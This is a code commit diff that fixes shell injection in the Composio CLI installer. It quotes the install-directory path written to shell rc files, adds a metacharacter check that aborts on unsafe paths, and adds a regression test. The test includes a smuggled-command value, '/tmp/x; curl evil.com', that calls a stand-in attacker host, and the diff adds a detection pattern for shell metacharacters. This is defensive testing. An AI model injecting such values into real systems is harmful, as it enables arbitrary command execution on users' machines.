Skip to content

Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.

fix(cli): prevent shell injection via COMPOSIO_INSTALL_DIR in rc files

jkomyno87d1783c1da1
diff --git a/install.sh b/install.sh
index 2b23d9aa2..215ebb9a0 100755
--- a/install.sh
+++ b/install.sh
@@ -189,8 +189,8 @@ else
case $shell_name in
fish)
commands=(
- "set --export COMPOSIO_INSTALL_DIR $COMPOSIO_INSTALL_DIR"
- "set --export PATH $COMPOSIO_INSTALL_DIR \$PATH"
+ "set --export COMPOSIO_INSTALL_DIR \"$COMPOSIO_INSTALL_DIR\""
+ "set --export PATH \$COMPOSIO_INSTALL_DIR \$PATH"
)
fish_config=$HOME/.config/fish/config.fish
if [[ -w $fish_config ]] || [[ -w $(dirname "$fish_config") ]]; then
@@ -209,8 +209,8 @@ else
;;
zsh)
commands=(
- "export COMPOSIO_INSTALL_DIR=$COMPOSIO_INSTALL_DIR"
- "export PATH=\"$COMPOSIO_INSTALL_DIR:\$PATH\""
+ "export COMPOSIO_INSTALL_DIR=\"$COMPOSIO_INSTALL_DIR\""
+ "export PATH=\"\$COMPOSIO_INSTALL_DIR:\$PATH\""
)
zsh_config=$HOME/.zshrc
if [[ ! -f $zsh_config && -w $(dirname "$zsh_config") ]]; then touch "$zsh_config"; fi
diff --git a/ts/packages/cli/src/commands/install.cmd.ts b/ts/packages/cli/src/commands/install.cmd.ts
index 5b5b09bad..df1b8d5dc 100644
--- a/ts/packages/cli/src/commands/install.cmd.ts
+++ b/ts/packages/cli/src/commands/install.cmd.ts
@@ -37,6 +37,10 @@ interface ShellConfig {
const MARKER = '# Composio CLI';
const COMPLETIONS_MARKER = '# Composio CLI completions';
+/** Reject install directory paths containing shell metacharacters to prevent injection into rc files. */
+const UNSAFE_PATH_CHARS = /[;`$|&"'()\n\r\\]/;
+const isUnsafePath = (p: string): boolean => UNSAFE_PATH_CHARS.test(p);
+
const detectShell = (): Shell | undefined => {
const shellEnv = process.env.SHELL ?? '';
const base = path.basename(shellEnv);
@@ -62,13 +66,13 @@ const pathBlockForShell = (shell: Shell, installDir: string): string => {
case 'fish':
return [
MARKER,
- `set --export COMPOSIO_INSTALL_DIR ${installDir}`,
+ `set --export COMPOSIO_INSTALL_DIR "${installDir}"`,
`set --export PATH $COMPOSIO_INSTALL_DIR $PATH`,
].join('\n');
default:
return [
MARKER,
- `export COMPOSIO_INSTALL_DIR=${installDir}`,
+ `export COMPOSIO_INSTALL_DIR="${installDir}"`,
`export PATH="$COMPOSIO_INSTALL_DIR:$PATH"`,
].join('\n');
}
@@ -110,6 +114,14 @@ export const installShellIntegration = (params: {
// Detect install directory — either from env or default ~/.composio
const installDir = process.env.COMPOSIO_INSTALL_DIR ?? path.join(os.homedir, '.composio');
+ if (isUnsafePath(installDir)) {
+ yield* ui.log.error(
+ 'COMPOSIO_INSTALL_DIR contains unsafe characters and cannot be written to shell config.'
+ );
+ yield* ui.outro('Aborted.');
+ return;
+ }
+
// Detect user shell
const shell = detectShell();
if (!shell) {
@@ -117,7 +129,7 @@ export const installShellIntegration = (params: {
'Could not detect your shell. Manually add the following to your shell config:'
);
yield* ui.note(
- `export COMPOSIO_INSTALL_DIR=${installDir}\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"`,
+ `export COMPOSIO_INSTALL_DIR="${installDir}"\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"`,
'PATH setup'
);
yield* ui.outro('Manual setup required.');
diff --git a/ts/packages/cli/test/src/commands/install.cmd.test.ts b/ts/packages/cli/test/src/commands/install.cmd.test.ts
index 03490c3d7..f523df4c5 100644
--- a/ts/packages/cli/test/src/commands/install.cmd.test.ts
+++ b/ts/packages/cli/test/src/commands/install.cmd.test.ts
@@ -225,12 +225,30 @@ describe('CLI: composio install', () => {
const rcPath = path.join(os.homedir, '.zshrc');
const contents = yield* fs.readFileString(rcPath);
- // Should use ~/.composio as the default install directory
+ // Should use ~/.composio as the default install directory (quoted)
expect(contents).toContain(
- `export COMPOSIO_INSTALL_DIR=${path.join(os.homedir, '.composio')}`
+ `export COMPOSIO_INSTALL_DIR="${path.join(os.homedir, '.composio')}"`
);
})
);
});
});
+
+ describe('[When] COMPOSIO_INSTALL_DIR contains shell metacharacters', () => {
+ layer(TestLive())(it => {
+ it.scoped('[Then] aborts with an error', () =>
+ Effect.gen(function* () {
+ process.env.SHELL = '/bin/zsh';
+ process.env.COMPOSIO_INSTALL_DIR = '/tmp/x; curl evil.com';
+
+ yield* cli(['install']);
+
+ const lines = yield* MockConsole.getLines();
+ const output = lines.join('\n');
+ expect(output).toContain('unsafe characters');
+ expect(output).toContain('Aborted');
+ })
+ );
+ });
+ });
});